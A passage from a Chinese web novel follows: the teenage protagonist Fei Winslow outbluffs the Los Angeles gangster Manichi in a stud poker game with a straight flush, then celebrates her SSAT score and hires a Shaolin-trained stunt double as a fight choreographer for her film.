就算退一步,不追求连号,只凑五张同花色的普通同花,也还缺两张牌。 即便凑成了,看曼尼奇这副稳坐钓鱼台的架势,暗牌里大概率藏着硬对子,普通同花未必压得住。 值不值得赌? 她抬眼飞快扫了曼尼奇一眼。对方坐姿松弛,眼神里的轻慢几乎要溢出来。 值得! 她越是咬着牙硬跟,表现得像个舍不得沉没成本的新手赌徒,越会让曼尼奇放松警惕。等到真凑成牌的那一天,对方的轻敌就是她最大的胜算。菲伊心里算得门儿清,可面上半点不露。 她 磨磨蹭蹭地捻起筹码,指尖反复摩挲了好几下,才一脸肉疼地推出去,跟着下了注。 周围看客低声议论,大多觉得这姑娘年轻气盛太贪牌,再跟下去迟早要输光筹码。 第三张明牌落下,周围响起一阵低低的吸气声。 曼尼奇拿到一张黑桃J,明牌排成了梅花9、方块10、黑桃J,明晃晃的三张连牌。没人知道他暗牌还藏着两张10,此刻早就是三条10在手,牌力几乎顶了天。 思忖片刻,他直接将注码翻倍,十二枚筹码“哗啦”一下全推出去。 菲伊拿到的是张方块J。 明牌变成方块8、方块9、方块J,三张同花色,却偏偏缺了中间的10,怎么看都是差一步的残牌。 围观的人纷纷摇头,这牌看着好,可要想凑出最关键的10,几率太低了! 菲伊的脸色果然沉了下去。目光在自己的三张方块和曼尼奇的三连牌之间来回晃,嘴唇抿成一条直线,像是在做极艰难的挣扎。 没人知道她大脑正飞速运转着:曼尼奇下注几乎不带犹豫,三张连牌就敢加倍,说明他的暗牌里大概率有对子,甚至……可能已经是三条。 同花和顺子确实压得过三条,可后面还有两轮,保不齐他再凑成一个对子,立刻就能凑成葫芦(三张相同点数的牌加一对)。 想稳稳吃死他,只有同花顺一条路。 概率不到百分之三,可她只能赌。不仅要赌,还要演出来。 她咬着牙把筹码推出去:“都跟三轮了,现在弃太亏。” 曼尼奇几乎要笑出声。 和他想的一模一样,新手赌徒的通病——舍不得前期的沉没成本,明明概率渺茫,还非要硬追。 三张方块又怎么样?就算真凑成同花,等自己后面凑出葫芦,照样赢她。 他似乎已经看到,菲伊输光筹码后,在自己面前收起锋芒、伏低做小的样子了。 56.第56章 第四张明牌发完,局势看着已经明朗了。 曼尼奇拿到一张梅花Q,明牌排成9、10、J、Q,四张连号顺,两头都能凑牌,牌面豪华得刺眼。 明面上看不见对子,旁人最多猜他藏着个暗对,绝想不到他早就是三条打底。 他直接重注砸下二十枚筹码,抬眼看向菲伊,脸上带着毫不掩饰的戏谑:“温斯洛小姐,现在弃牌还有机会进入下一轮,别刚开局就输个精光。” 周围的人都点头。四连顺摆在这儿,就算没对子,凑成顺子的概率也极高,曼尼奇赢面太大了。 菲伊的明牌来了张红桃7,彻底的废牌。三张方块加一张散牌,连同花都凑不成。 她盯着牌愣了几秒,眉头几不可察地皱了一下,又很快抹平。忽然往前倾身,手臂一推,面前的筹码“哗”地撞入底池中。 她不仅没弃牌,还直接加到四十枚! 全场哗然。 她抬眼看着曼尼奇,眼神有点飘,下颌却绷得很紧,像赌上头硬装底气的小孩,又像没拿到好牌、想靠气势吓退对方的冒失鬼。 曼尼奇先是一愣,随即冷笑出声。 牌没凑成,就想靠加注唬人? 和她砸场子、查赌具的路数一模一样,都是些旁门左道的小聪明,上不了台面。 他算得明明白白:对方明牌三张方块,就算暗牌里还藏着一张同花色,也还差最后一张才能凑成同花,成牌概率不大。 退一步说,就算真让她撞大运凑成了同花,自己手里握着三条10,最后一张河牌还有机会补成对子凑成葫芦,甚至补到第四条10,反超的把握依旧很大。 更何况看她这副虚张声势的样子,曼尼奇判断她暗牌里没同花,否则只需闷声跟注就行,哪需如此急着加码造势? 摆明了是牌没凑成,想靠加注吓退自己。 “想玩?我陪你玩到底。”他毫不犹豫地跟了二十枚。 菲伊垂下眼,长睫掩去眸底的微光。 她心里清楚,这一把就算侥幸赢了,只要曼尼奇留有余力、守住筹码,后面他有的是机会翻盘。 事实上,从踏入赌场起,无论是装的像个没碰过赌桌的愣头青,还是故意找茬砸场子,甚至后面的检查赌具,一切都是为了这个赌局做的铺垫—— 她要让曼尼奇从一开始就生出轻敌与傲慢。 因为真正的赌桌高手是不屑于靠场外手段造势,只会用牌技说话。 而她越是揪着“作弊”、“公平”小题大做,越会让曼尼奇形成思维定式:菲伊不过是个有心计、会钻空子,但牌技平平的新手,真到了牌桌上不堪一击。 这份先入为主的轻视,正是她设下的陷阱。 后面每一轮的犹豫、纠结、看似虚张声势的加注,都是在往陷阱里不断加的饵。等他的傲慢盖过理智,做出错误判断的那一刻,就是她收网的时候。最后一张牌,轻轻扣在两人手边。 这张只有自己能看,也是决定胜负的最后一张。 周遭的议 论声不约而同地低了下去。 曼尼奇先掀开一角,看到黑桃J的瞬间,嘴角的笑意再也压不住。 三条10,配一对J,就能凑成“葫芦”,是几乎顶格的大牌,赢同花、赢顺子,赢绝大多数牌型。 胜券在握。 他抬眼看向菲伊,只见对方盯着自己的暗牌愣了好几秒,肩膀微微垮下去,指尖烦躁地抓了抓头发。 没凑成同花。 曼尼奇心里笃定。 他没再犹豫,手臂一扫,把面前剩下的所有筹码一下推入底池,金属碰撞的声响清脆刺耳。 “All-in。”他居高临下地看向菲伊,“温斯洛小姐,弃牌吧,你赢不了我的。” 菲伊抬起头,脸色发白,咬着唇沉默了很久。久到人群开始窃窃私语,久到曼尼奇的耐心快要耗尽。 没人知道,她掌心下的那张暗牌,是方块10。 从拿到牌的那一刻起,她悬了四轮的心,终于落了地。 她赌赢了。 但,做戏要做全。 在曼尼奇即将失去耐心的前一秒,菲伊伸出手,把自己面前剩下的所有筹码,轻轻推了出去。 “我跟。” 曼尼奇嗤笑一声,觉得这丫头真是不见棺材不落泪。 他率先翻开自己的三张暗牌,黑桃10、红桃10、黑桃J,整整齐齐排在桌上。 “三条10带一对J,葫芦。”他抬眼斜睨菲伊,嘴角微微勾起,“开牌吧。” 57.第57章 所有人的目光都落在菲伊手上,等着看她翻开烂牌,灰头土脸地离场。 菲伊没说话,指尖先掀开第一张暗牌——梅花2。 人群里响起几声叹息,果然是烂牌。 第二张缓缓翻开,方块Q。 有人咦了一声,眉头皱了起来。 最后,她捏起那张方块10,轻轻放在三张方块明牌中间。 方块8、方块9、方块10、方块J、方块Q。 同花色,数字依次相连。 同花顺。 全场死寂了两秒,随即爆发出震耳的惊呼声。 曼尼奇脸上的笑容瞬间僵住,瞳孔骤缩,死死盯着那五张牌,他蓦地抬头看向菲伊,看到女孩脸上挑衅的笑容,霎时间什么都明白了。 “你在演我?!” 一股被愚弄的怒意袭上心头。 菲伊弯了弯唇角:“都是些上不了台面的小伎俩罢了,我能一把赢下这个赌约,还是多亏了曼尼奇先生高抬贵手!” 曼尼奇盯着她看了很久,胸腔里的火气翻涌,最终还是化作一声冷笑。他曼尼奇在道上混了这么多年,大小也是个人物,这么一个小小的赌局,他还输得起。 “好,好一个菲伊·温斯洛。今天是我轻敌了。”他抬手止住想上前的手下,“输了就是输了,我曼尼奇愿赌服输。从今往后,我绝不会再找《落水狗》剧组的半分麻烦。” 菲伊起身拎起搭在椅背上的牛仔夹克,朝曼尼奇略一点头,随即转身朝赌场出口走去,雷蒙与莱斯特立马跟上。 原本挤得水泄不通的围观人群,见菲伊走来,纷纷往两侧退开,十分默契地自动让出一条通道。 不知是谁先喊了一声“Bravo”,紧接着零星的掌声响起来,很快连成一片,夹杂着几道响亮的口哨,在大厅里荡开。 没人会吝啬这份掌声。 且不说她拆穿骰宝作弊,让在场每个人都平白赚了一笔;单是刚才那一手牌,把在洛杉矶赌场横行三十年的曼尼奇耍得团团转,最后以同花顺绝杀葫芦,就足够称得上一句精彩。 菲伊嘴角噙着浅淡的笑,边走边朝两侧微微颔首,姿态从容,倒像走在红毯上的电影明星,半点不见刚才牌桌上的紧绷与青涩。 直到赌场玻璃门在身后合上,晚风卷着夜色扑在脸上,她才悄悄呼出一口气。 门外的路灯下,凯瑟琳、劳伦斯、昆顿、埃文站成一排,连伊森都靠在车边等候。几人本来都伸长了脖子往赌场里望,听见门响立刻看过来,见菲伊全须全尾地走出来,不约而同地松了口气。 “菲伊!”凯瑟琳最先冲上去,一把拉住她的手,上上下下打量了个遍,“没受伤吧?曼尼奇没为难你?” 其他人也围了上来,目光都落在她脸上,带着掩不住的忐忑。菲伊故意绷着脸,眉头微蹙,半晌没说话。 “怎么了?输了?”劳伦斯心里一沉,“输了也没事,大不了我们离开洛杉矶,我就不信他曼尼奇手能伸那么长……” 话没说完,菲伊忽然绷不住笑了,眼睛弯成月牙,露出一口白牙:“骗你们的!我赢了!一局梭/哈,直接拿下。” “哇!真的假的!”凯瑟琳尖叫一声,扑上去抱住她,“太厉害了吧!” “哈哈哈哈!”劳伦斯开心地拍了拍她的肩膀,“不愧是我妹妹,有两下子。” “得了吧你。”昆顿手肘怼了他胸口一下,毫不留情地拆台,“刚才是谁在这儿来回踱步,念叨着实在不行就把菲伊连夜送加拿大避祸的?” 劳伦斯脸一红,梗着脖子反驳:“我那是以防万一。” 埃文站在旁边,眼睛亮晶晶地看着菲伊:“恭喜你,菲伊。你真的很厉害。” 菲伊笑着谢过众人,最后转向伊森:“今晚也谢谢你,特意跑一趟。” “菲伊小姐客气了。”伊森微微欠身,语气恭敬,“这些都是布鲁姆先生嘱咐好的,我只是按吩咐行事。今晚他有个很重要的晚宴脱不开身,否则一定会亲自过来。” 菲伊:“等他有空了,我得当面好好谢谢他。麻烦你帮我转达一声。” “一定带到。”伊森点头。 几人又寒暄了两句,菲伊便和众人一同上车,扬长而去。 二楼办公室里,雪茄的烟雾缭绕在水晶灯下,把曼尼奇阴沉的脸色衬得愈发难看。 他靠在大班椅上,指尖夹着半支雪茄,烟灰积了长长一截也没弹。 愿赌服输是一回事,被一个16岁的丫头片子从头到尾耍得团团转,当着满场宾客的面丢这么大的脸,又是另一回事。 这口气,他咽不下去。 “咚咚——”敲门声响起。 “进来。”曼尼奇没好气道。 一名黑衣下属推门进来,手里捧着个厚厚的牛皮纸档案袋,走到桌前躬身放下:“老大,你要的菲伊点·温斯洛的底细,都查清楚了。” 曼尼奇坐直身子,伸手扯开封线,把档案抽了出来。 档案做得极细,从她幼时在华国福利院的记录,到被温斯洛夫妇领养、赴美的时间,再到过去半年的行踪轨迹,事无巨细,密密麻麻写了数十页纸。 他指尖划过一行字,眉头皱了起来:“她养父母是被蝎子帮的人烧死的?” “没有直接证据。” 下属垂着头回答。 “警方最后按意外失火结的案。但温斯洛夫妻生前欠了蝎子帮一大笔高利贷,而这笔债务,据我们调查,其实是蝎子帮的人和一个叫格雷?休的合伙做局,把他们引入套的。后来蝎子帮和格雷?休还想绑走菲伊?温斯洛,但被她逃掉了。” “逃掉了?”曼尼奇抬眼,嗤了一声,“果然,我之前是小瞧了她。” “更巧的是——”下属顿了顿,继续说,“上个月蝎子帮内讧火并的那晚,格雷?休也在现场,死在了黑警科尔?汉森的枪下。” 曼尼奇眼睛眯起,用力将雪茄按灭在烟灰缸里。 “一夜之间,所有仇家全完蛋。”他冷笑一声,“这事要跟她没关系,我曼尼奇的名字倒过来写。” “还有一件事。”下属顿了顿,觑着曼尼奇的脸色,小心翼翼地补充,“她和亚特兰大的布鲁姆家族继承人,关系好像不一般。” “布鲁姆?”曼尼奇眉头骤然皱起,“说具体点!” 下属往前躬了躬身,声音压得更低:“当初温斯洛躲蝎子帮追杀的时候,碰巧从一个连环杀手手里救下了 布鲁姆家的小女儿。 从那之后,她和布鲁姆家的大少爷来往就渐渐增多,不光私下见面,账上也有不少资金往来。” “资金往来?”曼尼奇抬眼,眼神瞬间锐利了几分。 “是。”下属点头,“过去半年里,先后有十万美金的支票和两百一十万的现款转到她名下,走的全是阿利斯泰尔?布鲁姆的私人账户。还有,今晚跟在她身边的那两个男人,我们核实过了,根本不是她自己雇来的,是阿利斯泰尔身边的保镖。” 曼尼奇挑挑眉,轻呵一声:“照你这么说,这菲伊?温斯洛是布鲁姆家大少爷养在外面的小女友咯?” “这只是我的推测。”下属躬身道,“不然也说不通,布鲁姆家的继承人,凭什么对一个名不见经传的小姑娘这么上心?又是塞钱又是派保镖的。对了,就连现在收养她的索尔夫人,早年也是布鲁姆读高中时的任课老师。” 曼尼奇心念微转,眼中逐渐浮现了然,冷笑道:“呵,我说呢。一个丫头片子,怎么可能一夜之间掀翻整个蝎子帮,连科尔?汉森那样的老狐狸都栽了。原来背后真正的推手是布鲁姆家……这么一来,就全都说得通了!” “老大,那接下来怎么做?布鲁姆家那位大少爷现在正好就在洛杉矶。”下属往前凑了半步,声音压得几乎听不见,抬手比了个割喉的手势:“要不要趁这个机会……” 话没说完,曼尼奇一个冷眼扫过来,他立刻噤声,头垂得更低了。 “先不要轻举妄动。”曼尼奇沉吟良久,沉声道,“虽然布鲁姆家的根基在亚特兰大,手伸不到洛杉矶来。但他家那个大少爷,可是有两个亲舅舅在洛杉矶。那家人,背后牵扯的势力比较复杂。” “舅舅?”下属愣了一下,没反应过来,“您说的是……?” 曼尼奇慢慢吐出几个字:“费尔法克斯家族。” 下属瞳孔一震,后背惊起一层冷汗。 布鲁姆家远在东南部,确实影响不到西海岸,可费尔法克斯家族完全不同! 那可是扎根在加州近两百年的庞然大物。十九世纪中叶借着淘金热在旧金山发家,后来由商入政,几代人经营下来,势力横跨政、商、学界。 国会山有他们家的席位,加州公立大学系统是他们家推动奠基的,就连上上一任加州州长都出自费尔法克斯家。 “威廉·费尔法克斯,就是那位大少爷的大舅舅。”曼尼奇看着下属震惊的神色,淡淡补了一句。 “是、是那位准备明年竞选州长的费尔法克斯?”下属声音都有点发紧。 “就是他。” 曼尼奇站起身,走到窗户前。 楼下霓虹流转,映着赌场门前人来人往,他面色却阴晴不定。 他本以为只是个有点小聪明、傍上个金主的丫头,教训了也就教训了。可真扯出费尔法克斯家,事情的性质就完全变了。 动菲伊·温斯洛容易,可一旦惹上费尔法克斯家族,就不是他一个人能扛得住的了。 半晌,他才转过身,冲下属摆了摆手:“行了,这件事你先不用管了。剩下的,等我请示过老板之后再议。” “是。”下属躬身应下,不敢再多说半句,轻手轻脚地退了出去。 58.第58章 十月下旬的洛杉矶,午后的阳光已褪去了盛夏的燥烈,变得温软柔和,轻轻地铺洒在梅尔罗斯大道的红砖路上。 距离万圣节还有一周,沿路的商铺已被装点得热热闹闹:橙黄色的南瓜灯堆在门廊,纸糊的女巫帽挂在檐角,骷髅串旗随风晃着,连橱窗里的模特都戴上了尖顶帽,大街小巷处处都透着几分俏皮又鲜活的节日气氛。 凯瑟琳拽着菲伊的手腕,一头扎进一家独立设计师的品牌店。 店里放着朋克乐队的磁带,墙面画着潦草的涂鸦,滑板斜靠在试衣间门口,是九十年代西海岸最流行的街头腔调。 此刻菲伊的手上已经拎着三四个购物袋,有Guess的牛仔裙、CrossColours的拼色卫衣,还有两件Carhartt的工装外套。 好不容易赶上剧组不忙,学校也没课,凯瑟琳早早就打定主意要拉菲伊出来血拼,说什么也要给她挑几身像样的衣服。 “你试试这件!”凯瑟琳从衣架上扯下条深棕色缎面吊带裙,往菲伊怀里塞,“你平时穿的实在太素了,这条你穿刚好,又酷又温柔。” 菲伊抱着裙子,看着她手里还拿着的两三件备选,有些哭笑不得:“凯瑟琳,我们已经逛了三条街了,差不多可以啦。” “这才哪到哪!”凯瑟琳满不在乎地推她往试衣间走,“好不容易出来一趟,当然要买买买。你天天不是泡剧组就是啃书,都快成呆子了。” 不久,试衣间的布帘被轻轻拉开,凯瑟琳听见动静回头,手里攥着的格子衬衫“啪嗒”掉在了地上。 深棕色缎面顺着肩线垂落,面料带着细腻的柔光,刚好卡在腰线最细的位置,往下顺着身形铺开,长度落在小腿中部,露出一截纤细白皙的脚踝。 平时她总穿T恤、衬衫配牛仔裤,这会儿被缎面裙衬得肩颈线条舒展,冷白的皮肤衬着深棕底色,既有几分漫不经心的酷,又藏着点没见过的柔意,连店里路过的两个女生都忍不住回头多看了两眼。 “我的天!”凯瑟琳几步冲过来,围着她转了一圈,眼睛亮得像装了灯泡,“菲伊!你也太适合这个了吧!万圣节派对就穿这件啊,绝对艳压全场!” 话刚说完,她又皱起眉,对着菲伊上下打量,兀自摇了摇头:“不行不行,还差点意思。光有裙子不够,还需要配饰和鞋!” 她不由分说,转身就扑向旁边的配饰架,指尖飞快地扫过挂着的做旧金属项链、宽版皮质腰带,又踮脚从鞋架最上层拎下来一双黑色粗跟玛丽珍鞋,一股脑全塞到菲伊怀里:“快穿上试试!” 菲伊抱着满怀的配饰和鞋子,看着她指缝里还夹着两副复古金属耳饰,有些哭笑不得正要说话,试衣间里的手提电话的响了起来。 她如蒙大赦,赶紧把怀里的东西放在一旁的沙发椅上,返回试衣间摸出那块沉甸甸的摩托罗拉,看了眼来电显示,是佩妮。 “我接个电话。”她冲凯瑟琳比了个手势,快步走到门店安静的角落接起,“喂,佩妮?” 电话那头的声音几乎要冲破听筒,雀跃得快要飞起来:“菲伊!成绩单到了!SSAT成绩出来了!” 菲伊的心也跟着提了一下,指尖无意识收紧。店里的音乐声好像骤然远去,她盯着窗户外走过的南瓜灯装饰,轻声问:“怎么样?” “2360分!总分2360!”佩妮激动地说道,“数学满分800,780,词汇790,百分位99%!全美前1%啊菲伊!” 菲伊愣了两秒,随即长长舒了口气,嘴角不受控制地往上扬。悬了快半个月的心彻底落了地,连日来刷题的疲惫好像瞬间都散了。 旁边的凯瑟琳本来还在扒拉着衣架,听见“2360”、“满分”几个词,立马三步并作两步冲过来,扒着她的胳膊连声问:“怎么了怎么了?SSAT成绩出来了?多少分?” 菲伊笑着冲她点了点头,“2360。” 话音刚落,凯瑟琳已尖叫出声,激动地抱着她原地蹦了好几下,鞋跟踩在地板上咚咚响。 “2360!数学满分!我的天,你是怪物吗?!”她声音太大,引得店里的店员和其他顾客都纷纷侧目,等听清她嘴里蹦出来的“SSAT2360”、“前1%”,侧目很快变成了惊叹。 几个顾客看着那个嘴角噙笑的华裔女孩,眼里满是诧异与佩服,纷纷低声议论起来。 就连收银台后忙着结账的店员小哥,都停下手中的活儿,扭头冲菲伊竖起了大拇指。 菲伊看着周围投来的善意目光,脸颊也有些发烫,伸手拍了拍凯瑟琳的手臂:“小声点,别人都看着呢。” “怕什么!考这么高的分数还不让人高兴啦!”凯瑟琳松开她,脸蛋因为兴奋涨得通红,“必须庆祝!今天一定要好好庆祝!” “现在庆祝是不是太早了?”菲伊笑着摇头,“等我把谢菲尔德的申请递上去,拿到offer再庆祝也不迟。” “这分数往那一摆,全美哪所顶尖高中不得另眼相看?”凯瑟琳满不在乎地摆手,“推荐信就是走个流程,面试更不用说,你那么强,肯定没问题。听我的,今天必须吃顿好的!” 菲伊拗不过她,只好点头应下。 两人拎着大包小包出了店门,拦了辆出租车,径直往市中心的博纳旺蒂尔酒店去。 那里34层的旋转餐厅拥有欣赏洛杉矶的绝佳视野,靠窗的位置能俯瞰整座城市的天际线,随着餐厅缓缓转动,日落、街灯、远山能挨个看遍。 晚餐吃到尾声的时候,菲伊的手提电话又响了。她拿起一看,屏幕上跳着个陌生号码,接起来一听,竟是陈振华的声音。 “喂?陈老,您怎么突然给我打电话了?” 电话那头陈振华声音洪亮,说给她打听了个靠谱的武术教练,是他的一个师侄,早年从华国过来的,手上有真功夫,问她明天有没有空过去见见。 菲伊连声应下,又和他约了时间地点,才笑着挂了电话。 “陈老?”凯瑟琳咬了口小蛋糕,好奇地歪头,“这是谁啊?名字听起来怪怪的。” “是我认识的一位长辈,华国人。”菲伊放下手机,解释道,“‘老’不是名字,是华国对年纪大的长辈的一种尊称。他刚给我介绍了一位武术教练,我打算明天过去看看。” “武术?”凯瑟琳眼睛一下子亮了,放下叉子伸手比划了两下,“就是你上次一脚踢飞里德尔那种……华国功夫?” 菲伊有点汗颜,硬着头皮点了点头。 “你都那么厉害了,上次还徒手捏碎过木板,居然还要找教练?”凯瑟琳瞪大眼睛,一脸不可思议。 “我那都是些雕虫小技,靠点巧劲罢了。”菲伊随口圆过去,心里暗自嘀咕,果然一个谎要一百个谎来圆,“真遇上高手,根本不够看。” “真的假的?你都这么厉害了,那真正的高手得有多厉害?”凯瑟琳托着腮,满脸神往,随即又垮下脸,“啊,真可惜,明天早上有大魔王的课,打死都不能翘,不然我非得跟你去看看不可。” “没事,如果明天能谈拢的话,以后有的是机会。” “说的也是!” …… 晨曦微露,城市上空仍笼罩着未散的薄雾,微风拂过,空气中氤氲着一丝清冽的凉意。 菲伊坐上出租车,报了唐人街的地址,包里电话铃声就响了。 是陈振华。 电话里老人的声音带着点歉意,说临时出了点状况,见面的地方得改,报了个好莱坞北边的一个地址。菲伊连说没关系,让司机调转了方向。 二十多分钟后,出租车在一片老工业区停下。这里是好莱坞小型独立制片厂的聚集地,不少二战时期留下的铁皮仓库都被改造成了低成本影棚,日租不过三四百美元,专接小成本B级片、独立短片和广告的活儿,是没资金进大厂棚的小剧组的首选。 眼前这栋也一样,灰蓝色的铁皮墙皮斑驳剥落,门口堆着几个印着旧电影logo的道具木箱,半开的铁门里隐约传出打板声和导演的喊话声。 菲伊刚付完车费下车,就看见路边站着个穿藏青色中式练功服的老人。 正是陈振华。 老人今年七十五岁,身材精瘦挺拔,腰板挺得笔直,脸上带着点温和的笑意,眉眼慈祥,精神头比不少中年人还足。 谁也看不出,这看似普通的老人,一手大力金刚功能瞬间捏碎人骨,是个深藏不露的高手。 “陈老。”菲伊小跑着过去,带着歉意道,“真是麻烦您嘞,让您特意跑这么远等我。” “是我该说抱歉才对。”陈振华摆了摆手,领着她往路边树荫下走。 “昨天电话里没说清楚。我要给你介绍的这个师侄,在好莱坞做武替。本来昨天他的戏就杀青了,偏巧凌晨剧组另一个武替拍动作戏摔断了腿,合同里写了备替义务,他凌晨五点就被喊过来救场了。实在抽不开身,我才临时改了地方。” “工作要紧,我理解的。”菲伊点头道。 两人又在路边等了十来分钟,影棚的铁门吱呀一声被推开,一道高挑的人影走了出来。那人站在门口顿了顿,侧头左右张望。 陈振华也看到了对方,往前迈了半步抬手招呼:“小袁,这边!” 那人的视线立刻扫过来,眼睛一亮,快步朝这边走过来。 菲伊眯着眼看了两眼,越看越疑惑。 来人一头蓬松的金色长卷发,脸上画着浓重的舞台妆,眼线挑得很高,露在外面的胳膊上扑了层厚厚的粉,身形偏瘦,看着就是个女演员。 “陈老,”她忍不住压低声音,语气里满是诧异,“你们少林寺……还收外国姑娘做俗家弟子吗?” 59.第59章 “外国姑娘?”陈振华先是一愣,随即反应过来,忍不住笑出声,摆手道,“不是不是,你误会了,他不是姑娘。” 正说着,那人已经走到了近前。看见陈振华,他开口喊了声“师叔”,声音偏低,是青年男子的声线。 说着抬手一摘头上的假发,浓密的金色卷发应声落下,露出底下利落的黑色寸头。他又随手抹了把脸上的粉,露出周正的眉眼,只是脸上还带着没卸干净的粉底,显得有些滑稽。 菲伊这才看清,对方确实是个年轻男人,个子大概一米七,身形偏瘦,肩背却挺得很直,站在那里自有一股习武之人的精气神。 “我给你们介绍。”陈振华笑着摆手,“袁杰,这就是我跟你说的菲伊·温斯洛。菲伊,这是袁杰,少林第三十代俗家弟子,六岁入寺,17、18岁连着拿了两届全国武术冠军,一身功夫是实打实的。” 袁杰脸上一红,有点局促地挠了挠头,语气憨厚:“师叔您就别提以前的事了。我现在混成这副样子,实在愧对师门。” 三人就近找了家街角的小咖啡厅坐下。 袁杰选了最靠里的位置,坐下时先把过长的戏服裙摆仔细拢到膝头,腰背挺得笔直,双手规规矩矩搭在腿上,只有指尖无意识地摩挲着洗得发白的牛仔裤。 他话不多,内敛得近乎木讷,大多时候都是陈振华在说,菲伊偶尔问两句,他才微微前倾身体,认认真真地答。 聊了没一会儿,菲伊就把他的经历摸清了大半。 袁杰小时候家里条件差,六岁被送去少林寺,本是混口饭吃,不料被释德法大师看中收了徒弟,一练就是十几年。 18岁时已连着拿了两届全国武术冠军,意气风发,只身前往香港影坛闯荡,一待就是七八年,演了几部功夫片的配角,始终没溅起水花。 三年前年辗转来到好莱坞,本想着这边薪酬高,好歹能安身,一晃三年过去,日子反倒越过越难。 “说来惭愧。”袁杰端起咖啡杯,粗粝的指节轻轻蹭过杯沿。他垂着眼,眼尾的细纹在暖光下格外明显,三十出头的年纪,眼底却有着远超同龄人的沧桑。 “我嘴笨,不会来事儿,也不会逢迎拍马,香港那几年就没闯出什么名堂。来这边更是如此,华人武师本就受排挤,我又不会钻营,正经武替的活儿轮不到我。” 他没往下说,但意思已经很明白。 九十年代的好莱坞,排外与歧视刻在行业骨血里,一个没背景、没名气的华人,空有一身硬功夫也只能被挑挑拣拣。 许多剧组看他身高一米七,身形偏瘦骨架小,就安排他给女演员做武替——浓妆一盖,假发一套,远景里根本分不出男女,薪酬却只有白人男替的三分之一。 菲伊的目光落在他手上。那是一双习武人的手,指节粗大,掌心与指腹覆着厚厚的拳茧,手背上还有几道新旧交叠的浅疤,应该是练功和拍动作戏时留下的。 可就是这样一双手,此刻捏着咖啡杯的动作却放得很轻,带着点怕碰坏东西的拘谨。 她心里多了几分了然,这种性子的人,踏实、能吃苦、不耍滑,教功夫必然会倾囊相授。可也正是这份老实木讷,注定了他在人情世故盘根错节的娱乐圈里,寸步难行。 袁杰偶尔抬眼,撞见菲伊的目光,见她眼神里没有嘲讽,没有猎奇的打量,只有坦荡和理解,反倒愣了一下,又赶紧垂下眼,指尖把杯沿攥得更紧了点。 他见多了旁人听说“男扮女武替”时的戏谑与轻视,眼前这个年纪轻轻的姑娘却从头到尾没露出半分异色,这份尊重,让他心里热乎乎的。 “我也是前段时间和国内师兄联系上,才知道他在这儿。”陈振华叹了口气,端起茶杯抿了一口,“华人在外立足难啊。他性子又直,说话不会拐弯,前阵子得罪了个副导演,手里的活儿直接被砍了大半,最近都在收拾行李准备回国了。 正好你说想找个武术教练,我就想着撮合一下。要是合适,既能有人教你真东西,也能让他多份营生,先留下来再说。” 听到“回国”两个字,袁杰肩膀几不可察地塌了一下。 他不是不想回去,只是不甘心。 六岁进入少林寺,冬练三九夏练三伏,一身功夫是一拳一脚打出来的。 当年拿全国冠军时,他也曾站在领奖台上,意气风发地想着凭这身本事闯出一片天。 香港八年,好莱坞三年,兜兜转转十余年,最后居然要靠男扮女装做武替混口饭吃。如果就这灰溜溜地回去,实在没脸见家乡父老,更没脸见师父。 可留下来又能如何?日子一天天蹉跎,一身功夫耗在无意义的排挤和冷眼里,就像一把刀,再好再利,如果埋在泥土里,终有一天会变得锈钝不堪。 他垂着眼,咖啡的热气熏得眼底发涩。 “袁老师一身真功夫,只做我一个人的私人教练,未免太屈才了。” 少女清脆的声音忽然响起。 袁杰心里咯噔一下,看向菲伊的眼睛里,闪过一抹黯然:“我知道,我现在这个样子……要是温斯洛小姐觉得不合适——” 他以为菲伊是嫌他如今混得落魄,配不上做她的教练。 “袁老师误会了。”菲伊见状,连忙放缓语气,“我是想问,你有没有想过做武术指导?” “武指?” 袁杰迅速抬头,眼里的错愕藏都藏不住。 他当然想过! 在香港的时候,他与剧组的武指混的最熟、交流的最多,脑子里存着无数套拳路和镜头动作设计,比许多只会摆花架子的武指扎实得多。 可在好莱坞,连正经男替的位置都轮不到他,更别说独当一面的武术指导了。 “我手里正在投资一部小成本独立电影,叫《落水狗》。” 菲伊语气很诚恳,没有半分居高临下的施舍意味,“剧组经费紧,没请正经武术指导,里面几场动作戏都是导演和演员自己瞎琢磨的,拍出来很粗糙。 要是袁老师愿意屈就过去帮忙指点一下,对我们剧组是雪中送炭。就是有一点,经费有限,给的薪水可能不会太高。” 她话说得实在,没玩虚头巴脑那套,更没有画大饼。 可落在袁杰耳朵里,却像突然中了彩票一样,搞得他脑子有些发懵 。 他盯着菲伊看了好几秒,确定对方不是在开玩笑后,激动得有些语无伦次:“我、我真的可以吗?我没有资历,啊,不,我的意思是,我没正经担任过武指,但是动作设计、套招、安全防护我都懂,我——” 他想证明自己有本事,却不知道该怎么组织语言,急的额头都开始冒汗。 “薪水多少都没关系!”说到最后,他又补了一句,眼神亮得惊人,像积灰多年的炭重新被点燃,“只要能让我正经做功夫相关的活,我肯定好好干,绝不糊弄!” 这哪里是屈就,对他来说根本是柳暗花明。他本来都收拾好行李箱,打算月底就买机票回国的。 “那就好。”菲伊笑了笑,“等你这边片场的忙完,我带你去剧组见导演,商量一些具体的工作安排。” 说着她又想起学武的事,补充道:“至于我学功夫的事,还是按之前说的来,麻烦袁老师平时抽时间教教我。” 提到这个,袁杰神色立刻郑重了几分,斟酌着开口道:“有句话我得先跟你说清楚。你现在十六岁,根骨基本已经长成了,不像从小打基础的孩子,练起来见效慢,还要吃不少苦头。拉筋、站桩、挨摔,一样都少不了,可能练上半年一年,也未必能有多大起色。” 他说的是实话,不想哄人,也不想砸了师门的招牌。 “我不怕吃苦。”菲伊语气很平静,却带着十足的笃定,“只要能练出真功夫,多累都没关系。” 袁杰看着她的眼神,重重点了点头,没再多说。习武之人最看重心性,看她这股稳重劲儿,就知道不是三分钟热度。 他抬手看了眼腕上磨掉漆的电子表,脸色微变:“不好,我那场替身戏还有半小时开拍,得赶紧回去补妆了。” 他说着就站起身,冲陈振华和菲伊分别拱了拱手:“师叔,温斯洛小姐,那我先回片场了。等我这边收工,咱们再细说。” “去吧去吧,工作要紧。”陈振华摆了摆手。 袁杰又冲菲伊郑重地点了下头,拿起那顶金色假发,快步往门外走去。脊背比来时挺直了不少,脚步都透着股重新攒起来的劲。 看着他的身影消失在门后,陈振华才转回头,看着菲伊叹了口气,语气里满是真切的感激: “菲伊,今天这事,老夫替我师兄,也替袁杰,好好谢谢你。这孩子憋得太久了,再熬下去,这身从小练到大的功夫就真废了。” “陈老言重了。”菲伊笑了笑,坦言道,“我也是为了自己。袁老师有真本事,我缺好一个教练,也真的需要一个靠谱武指。一拍即合的事,谈不上谁谢谁。” 